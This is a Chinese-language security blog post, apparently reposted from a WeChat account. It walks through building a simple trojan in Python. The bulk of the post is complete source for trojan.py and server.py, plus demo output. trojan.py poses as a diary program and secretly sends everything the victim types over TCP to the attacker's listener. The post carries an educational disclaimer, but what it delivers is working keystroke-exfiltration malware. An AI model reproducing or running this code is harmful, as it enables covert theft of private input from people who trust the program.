恶意软件模型-特洛伊木马

admin 2024年1月10日13:29:24评论12 views字数 4134阅读13分46秒阅读模式
恶意软件模型-特洛伊木马

我们的特洛伊木马在trojan.py文件中实现。它试图伪装成一个普通的日志,从受害者那里收集数据,并秘密地发送到攻击者的服务器。服务器在server.py文件中实现。我们应该能够看到所有写入日志的内容,而受害者对此一无所知。

特洛伊木马

我们的特洛伊木马在trojan.py文件中实现。它试图伪装成一个普通的日志,从受害者那里收集数据,并秘密地发送到攻击者的服务器。服务器在server.py文件中实现。我们应该能够看到所有写入日志的内容,而受害者对此一无所知。

行为演示

攻击者首先必须设置一个收集受害者发送的数据的服务器。这就是为什么我们在我们的计算机上运行./server.py设置一个运行的服务器。你应该看到以下文本:

DEBUG:user:Server was successfully initialized.

在第二个控制台以受害者的身份运行特洛伊(日记)命令./trojan.py。在攻击者的控制台,我们应该立即看到以下文本:

Connection with trojan established from ('127.0.0.1', 46682)

这意味着我们的客户端已经成功地连接到我们的服务器。在日记中输入几行笔记。我们可以观察到所有的笔记都被攻击者看到了。

受害者看到什么

Hello, this is your diary. You can type here your notes:
Hello diary,
let me tell you a secret.
...

攻击者看到什么

DEBUG:user:Server was successfully initialized.
Connection with trojan established from ('127.0.0.1', 46682)
INFO:user:b'Hello diary,\n'
INFO:user:b'let me tell you a secret.\n'
...

创建基本的特洛伊是一个非常简单的过程,如下所述,任何人只要具备基本的编程知识和操作系统的理解就可以做到。这就是为什么我们在执行任何不常见或不受信任的文件时,应该始终保持谨慎。

它是如何工作的?

服务器

  • 首先,我们创建我们的服务器,它应该收集从受害者执行的特洛伊获得的数据。服务器将在特定的端口上监听,这个端口必须和我们的特洛伊中指定的端口相同。在这个例子中,服务器特洛伊都将在同一台计算机上执行,但是服务器可能是远程的,位于世界的任何地方。

    server = Server(27000)

    通信是通过TCP协议实现的,由socket.SOCK_STREAM指定(要了解更多关于网络协议的信息,请参阅网络通信指南。<br>

    self._socket = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
  • 然后我们必须通过绑定到指定的端口来初始化服务器。

    server.initialize()
  • 最重要的部分是与受害者的连接。这是在服务器提供的函数_collect_data_中实现的。它等待特洛伊在受害者的系统上执行后发起的连接。之后,它只是不断地检查客户端是否发送了任何数据。如果是,它们就会被记录到控制台,这样攻击者就可以看到它们。如果发送的数据是"空的",那么客户端已经关闭了连接。

    while True:
    data = connection.recv(1024)
    if not data:
    break
    logging.debug(data)

特洛伊(客户端)

  • 首先,我们必须创建我们的特洛伊。服务需要主机(服务器)的名称和指定的通信端口。主机名为localhost意味着服务器在与我们的客户端相同的系统上监听。

    trojan = Trojan('localhost', 27000)
  • 现在我们试图连接到服务器。这个连接应该对受害者保持隐藏。日志消息只是为了我们可以在我们的例子中发现任何错误。

    try:
    self.socket.connect((self.host, self.port))
    except socket.error:
    logging.debug('Trojan could not connect to the server.')
    return
  • 然后特洛伊试图通过向受害者问候来表现得像一个无害的程序。

    print('Hello, this is your diary. You can type your notes here:')
  • 当受害者将他或她的笔记输入到日记(stdin)中时,每一行都被发送到攻击者的服务器。我们期望数据被编码为UTF-8,因为通信接口期望的是_二进制_数据,我们必须将获得的_字符串_转换为_字节_。

    while True:
    character = sys.stdin.read(1)
    self.socket.send(bytes(character, 'utf-8'))
#!/usr/bin/env python3

""" 实现收集特洛伊发送的数据的服务器。
"""

import logging
import socket


class Server:
""" 这个类代表攻击者的服务器,收集来自受害者的数据。
"""

def __init__(self, port):
self._port = port
# 初始化连接的套接字。
self._socket = socket.socket(socket.AF_INET, socket.SOCK_STREAM)

@property
def port(self):
""" 服务器运行的端口(`int`)。 """
return self._port

@port.setter
def port(self, new_port):
self._port = new_port

@property
def socket(self):
""" 服务器套接字。 """
return self._socket

def initialize(self):
""" 在会话前初始化服务器。 """
try:
self.socket.bind(('localhost', self._port))
self.socket.listen()
logging.debug('服务器成功初始化。')
except socket.error:
print('由于错误,服务器未初始化。')

def collect_data(self):
""" 收集来自客户端特洛伊应用程序的数据。 """
# 与受害者建立连接。
connection, address = self.socket.accept()
with connection:
print('从{}建立了与特洛伊的连接'.format(address))

# 接收特洛伊日记发送的数据。
while True:
data = connection.recv(1024)
if not data:
break
logging.info(data)


if __name__ == '__main__':
logging.basicConfig(level=logging.DEBUG)

# 创建并初始化在攻击者一方运行的服务器。
server = Server(27000)
server.initialize()
# 收集在受害者一方执行的特洛伊发送的数据。
server.collect_data()
#!/usr/bin/env python3

""" 实现收集数据并将其发送到服务器的特洛伊。
它表现得像一个普通的日记。
"""

import logging
import socket
import sys


class Trojan:
""" 这个类代表了伪装成日记的特洛伊的实现。
"""

def __init__(self, host, port):
self._host = host
self._port = port
# 初始化连接的套接字。
self._socket = socket.socket(socket.AF_INET, socket.SOCK_STREAM)

@property
def host(self):
""" 收集获取的数据的服务器。 """
return self._host

@host.setter
def host(self, new_host):
self._host = new_host

@property
def port(self):
""" 服务器运行的端口(`int`)。 """
return self._port

@port.setter
def port(self, new_port):
self._port = new_port

@property
def socket(self):
""" 客户端套接字。 """
return self._socket

def collect_data(self):
""" 秘密地收集数据并将其发送到服务器。 """
# 创建到服务器的连接。
try:
self.socket.connect((self.host, self.port))
except socket.error:
logging.debug('特洛伊无法连接到服务器。')
return

# 尝试表现得像一个普通的日记。
print('你好,这是你的日记。你可以在这里输入你的笔记: ')

# 读取受害者写的笔记并将它们发送到服务器。
while True:
character = sys.stdin.read(1)
self.socket.send(bytes(character, 'utf-8'))


if __name__ == '__main__':
logging.basicConfig(level=logging.DEBUG)

# 初始化像日记一样的特洛伊应用程序。
trojan = Trojan('localhost', 27000)
# 收集数据并将其发送到攻击者一方运行的服务器。
trojan.collect_data()

欢迎访问我们的网站和关注我们的公众号,获取最新的技术共享内容、创新想法和安全知识。

网站:hackerchi.top

微信公众号:黑客驰

💡

免责声明

本文为技术共享文章,仅有教育交流目的,不构成任何法律或专业建议。读者应自行承担使用该文章所产生的风险和责任。作者和组织不对使用该文章所引起的任何损失或损害负责。

本文严禁提供、讨论或鼓励任何网络安全违法行为。请遵守法律法规,进行合法的技术共享活动。

原文始发于微信公众号(黑客驰):恶意软件模型-特洛伊木马

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2024年1月10日13:29:24
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   恶意软件模型-特洛伊木马http://cn-sec.com/archives/2343531.html

发表评论

匿名网友 填写信息